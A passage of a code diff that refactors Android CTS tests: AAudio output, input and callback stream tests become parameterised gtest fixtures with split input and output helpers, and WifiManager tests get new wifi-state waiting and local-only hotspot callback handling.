-        if (requestedSharingMode != AAUDIO_SHARING_MODE_SHARED) {
+        if (GetParam() != AAUDIO_SHARING_MODE_SHARED) {
             // Calculate approximate sample rate and compare with stream rate.
             double seconds = (endTime - beginTime) / (double) NANOS_PER_SECOND;
-            double measuredRate = (aaudioFramesRead2 - aaudioFramesRead1) / seconds;
-            ASSERT_NEAR(helper.actual().sampleRate, measuredRate, rateTolerance);
+            double measuredRate = (aaudioFramesReadFinal - aaudioFramesReadPrev) / seconds;
+            ASSERT_NEAR(actual().sampleRate, measuredRate, rateTolerance);
         }
+        */
 
-        helper.pauseStream();
+        mHelper->pauseStream();
     }
 
     // Make sure the read counter is not advancing when we are paused.
-    aaudioFramesRead = AAudioStream_getFramesRead(helper.stream());
-    ASSERT_GE(aaudioFramesRead, aaudioFramesRead2); // monotonic increase
+    aaudioFramesRead = AAudioStream_getFramesRead(stream());
+    ASSERT_GE(aaudioFramesRead, aaudioFramesReadFinal); // monotonic increase
 
     // Use this to sleep by waiting for a state that won't happen.
+    aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNINITIALIZED;
     timeoutNanos = 100 * NANOS_PER_MILLISECOND;
-    AAudioStream_waitForStateChange(helper.stream(), AAUDIO_STREAM_STATE_OPEN, &state, timeoutNanos);
-    aaudioFramesRead2 = AAudioStream_getFramesRead(helper.stream());
-    EXPECT_EQ(aaudioFramesRead, aaudioFramesRead2);
+    AAudioStream_waitForStateChange(
+            stream(), AAUDIO_STREAM_STATE_OPEN, &state, timeoutNanos);
+    aaudioFramesReadFinal = AAudioStream_getFramesRead(stream());
+    EXPECT_EQ(aaudioFramesRead, aaudioFramesReadFinal);
 
     // ------------------- TEST FLUSH -----------------
     // Prime the buffer.
@@ -136,40 +209,34 @@
     writeLoops = 1000;
     do {
         framesWritten = AAudioStream_write(
-                helper.stream(), data, helper.framesPerBurst(), timeoutNanos);
+                stream(), &mData[0], framesPerBurst(), timeoutNanos);
         framesTotal += framesWritten;
     } while (framesWritten > 0 && writeLoops-- > 0);
     EXPECT_EQ(0, framesWritten);
 
-    helper.flushStream();
+    mHelper->flushStream();
 
     // After a flush, the read counter should be caught up with the write counter.
-    aaudioFramesWritten = AAudioStream_getFramesWritten(helper.stream());
+    aaudioFramesWritten = AAudioStream_getFramesWritten(stream());
     EXPECT_EQ(framesTotal, aaudioFramesWritten);
-    aaudioFramesRead = AAudioStream_getFramesRead(helper.stream());
+    aaudioFramesRead = AAudioStream_getFramesRead(stream());
     EXPECT_EQ(aaudioFramesRead, aaudioFramesWritten);
 
     sleep(1); // FIXME - The write returns 0 if we remove this sleep! Why?
 
     // The buffer should be empty after a flush so we should be able to write.
-    framesWritten = AAudioStream_write(
-            helper.stream(), data, helper.framesPerBurst(), timeoutNanos);
+    framesWritten = AAudioStream_write(stream(), &mData[0], framesPerBurst(), timeoutNanos);
     // There should be some room for priming the buffer.
     ASSERT_GT(framesWritten, 0);
-    ASSERT_LE(framesWritten, helper.framesPerBurst());
-
-    free(data);
+    ASSERT_LE(framesWritten, framesPerBurst());
 }
 
-// Test Writing to an AAudioStream using SHARED mode.
-TEST(test_aaudio, aaudio_stream_shared) {
-    runtest_aaudio_stream(AAUDIO_SHARING_MODE_SHARED);
-}
+// Note that the test for EXCLUSIVE sharing mode may fail gracefully if
+// this mode isn't supported by the platform.
+INSTANTIATE_TEST_CASE_P(SM, AAudioOutputStreamTest,
+        ::testing::Values(AAUDIO_SHARING_MODE_SHARED, AAUDIO_SHARING_MODE_EXCLUSIVE),
+        &getTestName);
 
-// Test Writing to an AAudioStream using EXCLUSIVE sharing mode. It may fail gracefully.
-TEST(test_aaudio, aaudio_stream_exclusive) {
-    runtest_aaudio_stream(AAUDIO_SHARING_MODE_EXCLUSIVE);
-}
 
 int main(int argc, char **argv) {
     testing::InitGoogleTest(&argc, argv);
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
index dac6684..b7ad7e7 100644
--- a/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
@@ -18,6 +18,7 @@
 #define LOG_TAG "AAudioTest"
 
 #include <atomic>
+#include <tuple>
 
 #include <aaudio/AAudio.h>
 #include <android/log.h>
@@ -26,15 +27,6 @@
 #include "test_aaudio.h"
 #include "utils.h"
 
-typedef struct AAudioCallbackTestData {
-    int32_t expectedFramesPerCallback;
-    int32_t actualFramesPerCallback;
-    int32_t minLatency;
-    int32_t maxLatency;
-    std::atomic<aaudio_result_t> callbackError;
-    std::atomic<int32_t> callbackCount;
-} AAudioCallbackTestData;
-
 static int32_t measureLatency(AAudioStream *stream) {
     int64_t presentationTime = 0;
     int64_t presentationPosition = 0;
@@ -59,32 +51,158 @@
     return latencyMillis;
 }
 
-static void MyErrorCallbackProc(
-        AAudioStream *stream,
-        void *userData,
-        aaudio_result_t error) {
-    (void) stream;
-    AAudioCallbackTestData *myData = (AAudioCallbackTestData *) userData;
-    myData->callbackError = error;
+using CbTestParams = std::tuple<aaudio_sharing_mode_t, int32_t>;
 
+static std::string getTestName(const ::testing::TestParamInfo<CbTestParams>& info) {
+    return std::string{sharingModeToString(std::get<0>(info.param))} +
+            "_" + std::to_string(std::get<1>(info.param));
 }
 
-// Callback function that fills the audio output buffer.
-static aaudio_data_callback_result_t MyDataCallbackProc(
-        AAudioStream *stream,
-        void *userData,
-        void *audioData,
-        int32_t numFrames
-) {
-    AAudioCallbackTestData *myData = (AAudioCallbackTestData *) userData;
+template<typename T>
+class AAudioStreamCallbackTest : public ::testing::TestWithParam<CbTestParams> {
+  protected:
+    struct AAudioCallbackTestData {
+        int32_t expectedFramesPerCallback;
+        int32_t actualFramesPerCallback;
+        int32_t minLatency;
+        int32_t maxLatency;
+        std::atomic<aaudio_result_t> callbackError;
+        std::atomic<int32_t> callbackCount;
 
-    if (numFrames != myData->expectedFramesPerCallback) {
-        // record unexpected framecounts
-        myData->actualFramesPerCallback = numFrames;
-    } else if (myData->actualFramesPerCallback == 0) {
-        // record at least one frame count
-        myData->actualFramesPerCallback = numFrames;
+        AAudioCallbackTestData() {
+            reset(0);
+        }
+        void reset(int32_t expectedFramesPerCb) {
+            expectedFramesPerCallback = expectedFramesPerCb;
+            actualFramesPerCallback = 0;
+            minLatency = INT32_MAX;
+            maxLatency = 0;
+            callbackError = AAUDIO_OK;
+            callbackCount = 0;
+        }
+        void updateFrameCount(int32_t numFrames) {
+            if (numFrames != expectedFramesPerCallback) {
+                // record unexpected framecounts
+                actualFramesPerCallback = numFrames;
+            } else if (actualFramesPerCallback == 0) {
+                // record at least one frame count
+                actualFramesPerCallback = numFrames;
+            }
+        }
+        void updateLatency(int32_t latency) {
+            if (latency <= 0) return;
+            minLatency = std::min(minLatency, latency);
+            maxLatency = std::max(maxLatency, latency);
+        }
+    };
+
+    static void MyErrorCallbackProc(AAudioStream *stream, void *userData, aaudio_result_t error);
+
+    AAudioStreamBuilder* builder() const { return mHelper->builder(); }
+    AAudioStream* stream() const { return mHelper->stream(); }
+    const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
+
+    std::unique_ptr<T> mHelper;
+    bool mSetupSuccesful = false;
+    std::unique_ptr<AAudioCallbackTestData> mCbData;
+};
+
+template<typename T>
+void AAudioStreamCallbackTest<T>::MyErrorCallbackProc(
+        AAudioStream* /*stream*/, void *userData, aaudio_result_t error) {
+    AAudioCallbackTestData *myData = static_cast<AAudioCallbackTestData*>(userData);
+    myData->callbackError = error;
+}
+
+
+class AAudioInputStreamCallbackTest : public AAudioStreamCallbackTest<InputStreamBuilderHelper> {
+  protected:
+    void SetUp() override;
+
+    static aaudio_data_callback_result_t MyDataCallbackProc(
+            AAudioStream *stream, void *userData, void *audioData, int32_t numFrames);
+};
+
+aaudio_data_callback_result_t AAudioInputStreamCallbackTest::MyDataCallbackProc(
+        AAudioStream* /*stream*/, void *userData, void* /*audioData*/, int32_t numFrames) {
+    AAudioCallbackTestData *myData = static_cast<AAudioCallbackTestData*>(userData);
+    myData->updateFrameCount(numFrames);
+    // No latency measurement as there is no API for querying capture position.
+    myData->callbackCount++;
+    return AAUDIO_CALLBACK_RESULT_CONTINUE;
+}
+
+void AAudioInputStreamCallbackTest::SetUp() {
+    aaudio_sharing_mode_t requestedSharingMode = std::get<0>(GetParam());
+    mHelper.reset(new InputStreamBuilderHelper(requestedSharingMode));
+    mHelper->initBuilder();
+
+    int32_t framesPerDataCallback = std::get<1>(GetParam());
+    mCbData.reset(new AAudioCallbackTestData());
+    AAudioStreamBuilder_setErrorCallback(builder(), &MyErrorCallbackProc, mCbData.get());
+    AAudioStreamBuilder_setDataCallback(builder(), &MyDataCallbackProc, mCbData.get());
+    if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+        AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
     }
+
+    mSetupSuccesful = false;
+    mHelper->createAndVerifyStream(&mSetupSuccesful);
+}
+
+// Test Reading from an AAudioStream using a Callback
+TEST_P(AAudioInputStreamCallbackTest, testRecording) {
+    if (!mSetupSuccesful) return;
+
+    // TODO Why does getDeviceId() always return 0?
+    // EXPECT_NE(AAUDIO_DEVICE_UNSPECIFIED, AAudioStream_getDeviceId(stream));
+
+    const int32_t framesPerDataCallback = std::get<1>(GetParam());
+    const int32_t actualFramesPerDataCallback = AAudioStream_getFramesPerDataCallback(stream());
+    if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+        ASSERT_EQ(framesPerDataCallback, actualFramesPerDataCallback);
+    }
+
+    mCbData->reset(actualFramesPerDataCallback);
+
+    mHelper->startStream();
+    sleep(2); // let the stream run
+
+    ASSERT_EQ(mCbData->callbackError, AAUDIO_OK);
+    ASSERT_GT(mCbData->callbackCount, 10);
+
+    mHelper->stopStream();
+
+    int32_t oldCallbackCount = mCbData->callbackCount;
+    EXPECT_GT(oldCallbackCount, 10);
+    sleep(1);
+    EXPECT_EQ(oldCallbackCount, mCbData->callbackCount); // expect not advancing
+
+    if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+        ASSERT_EQ(framesPerDataCallback, mCbData->actualFramesPerCallback);
+    }
+
+    ASSERT_EQ(mCbData->callbackError, AAUDIO_OK);
+}
+
+INSTANTIATE_TEST_CASE_P(SM, AAudioInputStreamCallbackTest,
+        ::testing::Values(
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, AAUDIO_UNSPECIFIED),
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 109),  // arbitrary prime number < 192
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 223)), // arbitrary prime number > 192
+        &getTestName);
+
+
+class AAudioOutputStreamCallbackTest : public AAudioStreamCallbackTest<OutputStreamBuilderHelper> {
+  protected:
+    void SetUp() override;
+
+    static aaudio_data_callback_result_t MyDataCallbackProc(
+            AAudioStream *stream, void *userData, void *audioData, int32_t numFrames);
+};
+
+// Callback function that fills the audio output buffer.
+aaudio_data_callback_result_t AAudioOutputStreamCallbackTest::MyDataCallbackProc(
+        AAudioStream *stream, void *userData, void *audioData, int32_t numFrames) {
     int32_t samplesPerFrame = AAudioStream_getSamplesPerFrame(stream);
     int32_t numSamples = samplesPerFrame * numFrames;
     if (AAudioStream_getFormat(stream) == AAUDIO_FORMAT_PCM_I16) {
@@ -95,49 +213,39 @@
         for (int i = 0; i < numSamples; i++) *floatData++ = 0.0f;
     }
 
-    int32_t latency = measureLatency(stream);
-    if (latency > 0) {
-        if (latency < myData->minLatency) {
-            myData->minLatency = latency;
-        }
-        if (latency > myData->maxLatency) {
-            myData->maxLatency = latency;
-        }
-    }
-
+    AAudioCallbackTestData *myData = static_cast<AAudioCallbackTestData*>(userData);
+    myData->updateFrameCount(numFrames);
+    myData->updateLatency(measureLatency(stream));
     myData->callbackCount++;
     return AAUDIO_CALLBACK_RESULT_CONTINUE;
 }
 
-// Test Writing to an AAudioStream using a Callback
-static void runtest_aaudio_callback(aaudio_sharing_mode_t requestedSharingMode,
-                                    int32_t framesPerDataCallback) {
-    AAudioCallbackTestData myTestData;
-    StreamBuilderHelper helper{requestedSharingMode};
+void AAudioOutputStreamCallbackTest::SetUp() {
+    aaudio_sharing_mode_t requestedSharingMode = std::get<0>(GetParam());
+    mHelper.reset(new OutputStreamBuilderHelper(requestedSharingMode));
+    mHelper->initBuilder();
 
-    int32_t actualFramesPerDataCallback = 0;
-
-    myTestData.callbackCount.store(0);
-    myTestData.callbackError = AAUDIO_OK;
-    myTestData.actualFramesPerCallback = 0;
-    myTestData.expectedFramesPerCallback = 0;
-
-    helper.initBuilder();
-
-    AAudioStreamBuilder_setErrorCallback(helper.builder(), MyErrorCallbackProc, &myTestData);
-    AAudioStreamBuilder_setDataCallback(helper.builder(), MyDataCallbackProc, &myTestData);
+    int32_t framesPerDataCallback = std::get<1>(GetParam());
+    mCbData.reset(new AAudioCallbackTestData());
+    AAudioStreamBuilder_setErrorCallback(builder(), &MyErrorCallbackProc, mCbData.get());
+    AAudioStreamBuilder_setDataCallback(builder(), &MyDataCallbackProc, mCbData.get());
     if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
-        AAudioStreamBuilder_setFramesPerDataCallback(helper.builder(), framesPerDataCallback);
+        AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
     }
 
-    bool success = false;
-    helper.createAndVerifyStream(&success);
-    ASSERT_TRUE(success);
+    mSetupSuccesful = false;
+    mHelper->createAndVerifyStream(&mSetupSuccesful);
+}
+
+// Test Writing to an AAudioStream using a Callback
+TEST_P(AAudioOutputStreamCallbackTest, testPlayback) {
+    ASSERT_TRUE(mSetupSuccesful);
 
     // TODO Why does getDeviceId() always return 0?
     // EXPECT_NE(AAUDIO_DEVICE_UNSPECIFIED, AAudioStream_getDeviceId(stream));
 
-    actualFramesPerDataCallback = AAudioStream_getFramesPerDataCallback(helper.stream());
+    const int32_t framesPerDataCallback = std::get<1>(GetParam());
+    const int32_t actualFramesPerDataCallback = AAudioStream_getFramesPerDataCallback(stream());
     if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
         ASSERT_EQ(framesPerDataCallback, actualFramesPerDataCallback);
     }
@@ -145,55 +253,42 @@
     // Start/stop more than once to see if it fails after the first time.
     // Write some data and measure the rate to see if the timing is OK.
     for (int loopIndex = 0; loopIndex < 2; loopIndex++) {
+        mCbData->reset(actualFramesPerDataCallback);
 
-        myTestData.callbackCount = 0;
-        myTestData.minLatency = INT32_MAX;
-        myTestData.maxLatency = 0;
-        myTestData.callbackCount.store(0);
-
-        myTestData.expectedFramesPerCallback = actualFramesPerDataCallback;
-
-        helper.startStream();
-
+        mHelper->startStream();
         sleep(2); // let the stream run
 
-        ASSERT_EQ(myTestData.callbackError.load(), AAUDIO_OK);
-        ASSERT_GT(myTestData.callbackCount.load(), 10);
+        ASSERT_EQ(mCbData->callbackError, AAUDIO_OK);
+        ASSERT_GT(mCbData->callbackCount, 10);
 
         // For more coverage, alternate pausing and stopping.
         if ((loopIndex & 1) == 0) {
-            helper.pauseStream();
+            mHelper->pauseStream();
         } else {
-            helper.stopStream();
+            mHelper->stopStream();
         }
 
-        int32_t oldCallbackCount = myTestData.callbackCount.load();
+        int32_t oldCallbackCount = mCbData->callbackCount;
         EXPECT_GT(oldCallbackCount, 10);
         sleep(1);
-        EXPECT_EQ(oldCallbackCount, myTestData.callbackCount.load()); // expect not advancing
+        EXPECT_EQ(oldCallbackCount, mCbData->callbackCount); // expect not advancing
 
         if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
-            ASSERT_EQ(framesPerDataCallback, myTestData.actualFramesPerCallback);
+            ASSERT_EQ(framesPerDataCallback, mCbData->actualFramesPerCallback);
         }
 
-        EXPECT_GE(myTestData.minLatency, 1);   // Absurdly low
-        EXPECT_LE(myTestData.maxLatency, 300); // Absurdly high, should be < 30
+        EXPECT_GE(mCbData->minLatency, 1);   // Absurdly low
+        EXPECT_LE(mCbData->maxLatency, 300); // Absurdly high, should be < 30
                                                // Note that on some devices it's 200-something
-        //printf("latency: %d, %d\n", myTestData.minLatency, myTestData.maxLatency);
+        //printf("latency: %d, %d\n", mCbData->minLatency, mCbData->maxLatency);
     }
 
-    ASSERT_EQ(myTestData.callbackError.load(), AAUDIO_OK);
+    ASSERT_EQ(mCbData->callbackError, AAUDIO_OK);
 }
 
-// Test Using an AAudioStream callback in SHARED mode.
-TEST(test_aaudio, aaudio_callback_shared_unspecified) {
-    runtest_aaudio_callback(AAUDIO_SHARING_MODE_SHARED, AAUDIO_UNSPECIFIED);
-}
-
-TEST(test_aaudio, aaudio_callback_shared_109) {
-    runtest_aaudio_callback(AAUDIO_SHARING_MODE_SHARED, 109); // arbitrary prime number < 192
-}
-
-TEST(test_aaudio, aaudio_callback_shared_223) {
-    runtest_aaudio_callback(AAUDIO_SHARING_MODE_SHARED, 223); // arbitrary prime number > 192
-}
+INSTANTIATE_TEST_CASE_P(SM, AAudioOutputStreamCallbackTest,
+        ::testing::Values(
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, AAUDIO_UNSPECIFIED),
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 109),  // arbitrary prime number < 192
+                std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 223)), // arbitrary prime number > 192
+        &getTestName);
diff --git a/tests/tests/nativemedia/aaudio/src/utils.cpp b/tests/tests/nativemedia/aaudio/src/utils.cpp
index 167892c..5b929fc 100644
--- a/tests/tests/nativemedia/aaudio/src/utils.cpp
+++ b/tests/tests/nativemedia/aaudio/src/utils.cpp
@@ -14,6 +14,12 @@
  * limitations under the License.
  */
 
+#define LOG_TAG "AAudioTest"
+
+#include <sys/types.h>
+#include <unistd.h>
+
+#include <android/log.h>
 #include <gtest/gtest.h>
 
 #include "test_aaudio.h"
@@ -28,12 +34,24 @@
     return (time.tv_sec * NANOS_PER_SECOND) + time.tv_nsec;
 }
 
-StreamBuilderHelper::StreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode)
-        : mRequested{48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode},
-          mActual{0, 0, AAUDIO_FORMAT_INVALID, -1}, mFramesPerBurst{-1},
-          mBuilder{nullptr}, mStream{nullptr} {
+const char* sharingModeToString(aaudio_sharing_mode_t mode) {
+    switch (mode) {
+        case AAUDIO_SHARING_MODE_SHARED: return "SHARED";
+        case AAUDIO_SHARING_MODE_EXCLUSIVE: return "EXCLUSIVE";
+    }
+    return "UNKNOWN";
 }
 
+
+StreamBuilderHelper::StreamBuilderHelper(
+        aaudio_direction_t direction, int32_t sampleRate,
+        int32_t samplesPerFrame, aaudio_format_t dataFormat,
+        aaudio_sharing_mode_t sharingMode)
+        : mDirection{direction},
+          mRequested{sampleRate, samplesPerFrame, dataFormat, sharingMode},
+          mActual{0, 0, AAUDIO_FORMAT_INVALID, -1}, mFramesPerBurst{-1},
+          mBuilder{nullptr}, mStream{nullptr} {}
+
 StreamBuilderHelper::~StreamBuilderHelper() {
     close();
 }
@@ -46,12 +64,11 @@
 
     // Request stream properties.
     AAudioStreamBuilder_setDeviceId(mBuilder, AAUDIO_DEVICE_UNSPECIFIED);
-    AAudioStreamBuilder_setDirection(mBuilder, AAUDIO_DIRECTION_OUTPUT);
+    AAudioStreamBuilder_setDirection(mBuilder, mDirection);
     AAudioStreamBuilder_setSampleRate(mBuilder, mRequested.sampleRate);
     AAudioStreamBuilder_setSamplesPerFrame(mBuilder, mRequested.samplesPerFrame);
     AAudioStreamBuilder_setFormat(mBuilder, mRequested.dataFormat);
     AAudioStreamBuilder_setSharingMode(mBuilder, mRequested.sharingMode);
-    AAudioStreamBuilder_setBufferCapacityInFrames(mBuilder, 2000);
 }
 
 // Needs to be a 'void' function due to ASSERT requirements.
@@ -65,7 +82,7 @@
     ASSERT_EQ(AAUDIO_OK, result);
     ASSERT_TRUE(mStream != nullptr);
     ASSERT_EQ(AAUDIO_STREAM_STATE_OPEN, AAudioStream_getState(mStream));
-    ASSERT_EQ(AAUDIO_DIRECTION_OUTPUT, AAudioStream_getDirection(mStream));
+    ASSERT_EQ(mDirection, AAudioStream_getDirection(mStream));
 
     // Check to see what kind of stream we actually got.
     mActual.sampleRate = AAudioStream_getSampleRate(mStream);
@@ -77,7 +94,7 @@
     ASSERT_LE(mActual.samplesPerFrame, 16); // TODO what is min/max?
 
     mActual.dataFormat = AAudioStream_getFormat(mStream);
-    // Asserted by the client code.
+    ASSERT_EQ(AAUDIO_FORMAT_PCM_I16, mActual.dataFormat);
 
     mFramesPerBurst = AAudioStream_getFramesPerBurst(mStream);
     ASSERT_GE(mFramesPerBurst, 16);
@@ -90,6 +107,15 @@
     *success = true;
 }
 
+void StreamBuilderHelper::close() {
+    if (mBuilder != nullptr) {
+        ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(mBuilder));
+    }
+    if (mStream != nullptr) {
+        ASSERT_EQ(AAUDIO_OK, AAudioStream_close(mStream));
+    }
+}
+
 void StreamBuilderHelper::streamCommand(
         StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState) {
     ASSERT_EQ(AAUDIO_OK, cmd(mStream));
@@ -99,11 +125,33 @@
     ASSERT_EQ(toState, state);
 }
 
-void StreamBuilderHelper::close() {
-    if (mBuilder != nullptr) {
-        ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(mBuilder));
+
+InputStreamBuilderHelper::InputStreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode)
+        : StreamBuilderHelper{AAUDIO_DIRECTION_INPUT,
+            48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode} {}
+
+// Native apps don't have permissions, thus recording can
+// only be tested when running as root.
+static bool canTestRecording() {
+    static const bool runningAsRoot = getuid() == 0;
+    return runningAsRoot;
+}
+
+void InputStreamBuilderHelper::createAndVerifyStream(bool *success) {
+    if (!canTestRecording()) {
+        __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "No permissions to run recording tests");
+        *success = false;
+    } else {
+        StreamBuilderHelper::createAndVerifyStream(success);
     }
-    if (mStream != nullptr) {
-        ASSERT_EQ(AAUDIO_OK, AAudioStream_close(mStream));
-    }
+}
+
+
+OutputStreamBuilderHelper::OutputStreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode)
+        : StreamBuilderHelper{AAUDIO_DIRECTION_OUTPUT,
+            48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode} {}
+
+void OutputStreamBuilderHelper::initBuilder() {
+    StreamBuilderHelper::initBuilder();
+    AAudioStreamBuilder_setBufferCapacityInFrames(mBuilder, 2000);
 }
diff --git a/tests/tests/nativemedia/aaudio/src/utils.h b/tests/tests/nativemedia/aaudio/src/utils.h
index 8f60220..15243fd 100644
--- a/tests/tests/nativemedia/aaudio/src/utils.h
+++ b/tests/tests/nativemedia/aaudio/src/utils.h
@@ -19,22 +19,21 @@
 #include <aaudio/AAudio.h>
 
 int64_t getNanoseconds(clockid_t clockId = CLOCK_MONOTONIC);
+const char* sharingModeToString(aaudio_sharing_mode_t mode);
 
 class StreamBuilderHelper {
   public:
-    // Used to ensure that helper gets closed properly.
-    // class ScopedGuard {
-    //   public:
-    //     explicit ScopedGuard(StreamBuilderHelper& helper) : mHelper{helper} {}
-    //     ~ScopedGuard() { mHelper.close(); }
-    //   private:
-    //     StreamBuilderHelper& mHelper;
-    // }
+    struct Parameters {
+        int32_t sampleRate;
+        int32_t samplesPerFrame;
+        aaudio_format_t dataFormat;
+        aaudio_sharing_mode_t sharingMode;
+    };
 
-    explicit StreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode);
-    ~StreamBuilderHelper();
     void initBuilder();
     void createAndVerifyStream(bool *success);
+    void close();
+
     void startStream() {
         streamCommand(&AAudioStream_requestStart,
                 AAUDIO_STREAM_STATE_STARTING, AAUDIO_STREAM_STATE_STARTED);
@@ -51,25 +50,23 @@
         streamCommand(&AAudioStream_requestFlush,
                 AAUDIO_STREAM_STATE_FLUSHING, AAUDIO_STREAM_STATE_FLUSHED);
     }
-    void close();
-
-    struct Parameters {
-        int32_t sampleRate;
-        int32_t samplesPerFrame;
-        aaudio_audio_format_t dataFormat;
-        aaudio_sharing_mode_t sharingMode;
-    };
 
     AAudioStreamBuilder* builder() const { return mBuilder; }
     AAudioStream* stream() const { return mStream; }
     const Parameters& actual() const { return mActual; }
     int32_t framesPerBurst() const { return mFramesPerBurst; }
 
-  private:
+  protected:
+    StreamBuilderHelper(aaudio_direction_t direction, int32_t sampleRate,
+            int32_t samplesPerFrame, aaudio_format_t dataFormat,
+            aaudio_sharing_mode_t sharingMode);
+    ~StreamBuilderHelper();
+
     typedef aaudio_result_t (StreamCommand)(AAudioStream*);
     void streamCommand(
             StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState);
 
+    const aaudio_direction_t mDirection;
     const Parameters mRequested;
     Parameters mActual;
     int32_t mFramesPerBurst;
@@ -77,4 +74,16 @@
     AAudioStream *mStream;
 };
 
+class InputStreamBuilderHelper : public StreamBuilderHelper {
+  public:
+    explicit InputStreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode);
+    void createAndVerifyStream(bool *success);
+};
+
+class OutputStreamBuilderHelper : public StreamBuilderHelper {
+  public:
+    explicit OutputStreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode);
+    void initBuilder();
+};
+
 #endif  // CTS_MEDIA_TEST_AAUDIO_UTILS_H
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 33c184a..cbf3e93 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -59,6 +59,7 @@
     private static MySync mMySync;
     private List<ScanResult> mScanResults = null;
     private NetworkInfo mNetworkInfo;
+    private Object mLOHSLock = new Object();
 
     // Please refer to WifiManager
     private static final int MIN_RSSI = -100;
@@ -173,14 +174,25 @@
 
     private void setWifiEnabled(boolean enable) throws Exception {
         synchronized (mMySync) {
-            assertTrue(mWifiManager.setWifiEnabled(enable));
             if (mWifiManager.isWifiEnabled() != enable) {
+                // the new state is different, we expect it to change
                 mMySync.expectedState = STATE_WIFI_CHANGING;
-                long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
-                int expectedState = (enable ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
-                while (System.currentTimeMillis() < timeout
-                        && mMySync.expectedState != expectedState)
-                    mMySync.wait(WAIT_MSEC);
+            } else {
+                mMySync.expectedState = (enable ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
+            }
+            // now trigger the change
+            assertTrue(mWifiManager.setWifiEnabled(enable));
+            waitForExpectedWifiState(enable);
+        }
+    }
+
+    private void waitForExpectedWifiState(boolean enabled) throws InterruptedException {
+        synchronized (mMySync) {
+            long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
+            int expected = (enabled ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
+            while (System.currentTimeMillis() < timeout
+                    && mMySync.expectedState != expected) {
+                mMySync.wait(WAIT_MSEC);
             }
         }
     }
@@ -517,6 +529,13 @@
         }
         assertTrue(mWifiManager.isWifiEnabled());
 
+        // give the test a chance to autoconnect
+        Thread.sleep(DURATION);
+        if (mNetworkInfo.getState() != NetworkInfo.State.CONNECTED) {
+            // this test requires a connectable network be configured
+            fail("This test requires a wifi network connection.");
+        }
+
         // This will generate a distinct stack trace if the initial connection fails.
         connectWifi();
 
@@ -686,4 +705,148 @@
             // Passpoint build config |config_wifi_hotspot2_enabled| is disabled, so noop.
         }
     }
+
+    public class TestLocalOnlyHotspotCallback extends WifiManager.LocalOnlyHotspotCallback {
+        Object hotspotLock;
+        WifiManager.LocalOnlyHotspotReservation reservation = null;
+        boolean onStartedCalled = false;
+        boolean onStoppedCalled = false;
+        boolean onFailedCalled = false;
+        int failureReason = -1;
+
+        TestLocalOnlyHotspotCallback(Object lock) {
+            hotspotLock = lock;
+        }
+
+        @Override
+        public void onStarted(WifiManager.LocalOnlyHotspotReservation r) {
+            synchronized (hotspotLock) {
+                reservation = r;
+                onStartedCalled = true;
+                hotspotLock.notify();
+            }
+        }
+
+        @Override
+        public void onStopped() {
+            synchronized (hotspotLock) {
+                onStoppedCalled = true;
+                hotspotLock.notify();
+            }
+        }
+
+        @Override
+        public void onFailed(int reason) {
+            synchronized (hotspotLock) {
+                onFailedCalled = true;
+                failureReason = reason;
+                hotspotLock.notify();
+            }
+        }
+    }
+
+    private TestLocalOnlyHotspotCallback startLocalOnlyHotspot() {
+        // Location mode must be enabled for this test
+        if (!isLocationEnabled()) {
+            fail("Please enable location for this test");
+        }
+
+        TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLOHSLock);
+        synchronized (mLOHSLock) {
+            try {
+                mWifiManager.startLocalOnlyHotspot(callback, null);
+                // now wait for callback
+                mLOHSLock.wait(DURATION);
+            } catch (InterruptedException e) {
+            }
+            // check if we got the callback
+            assertTrue(callback.onStartedCalled);
+            assertNotNull(callback.reservation.getWifiConfiguration());
+            assertFalse(callback.onFailedCalled);
+            assertFalse(callback.onStoppedCalled);
+        }
+        return callback;
+    }
+
+    private void stopLocalOnlyHotspot(TestLocalOnlyHotspotCallback callback, boolean wifiEnabled) {
+       synchronized (mMySync) {
+           // we are expecting a new state
+           mMySync.expectedState = STATE_WIFI_CHANGING;
+
+           // now shut down LocalOnlyHotspot
+           callback.reservation.close();
+
+           try {
+               waitForExpectedWifiState(wifiEnabled);
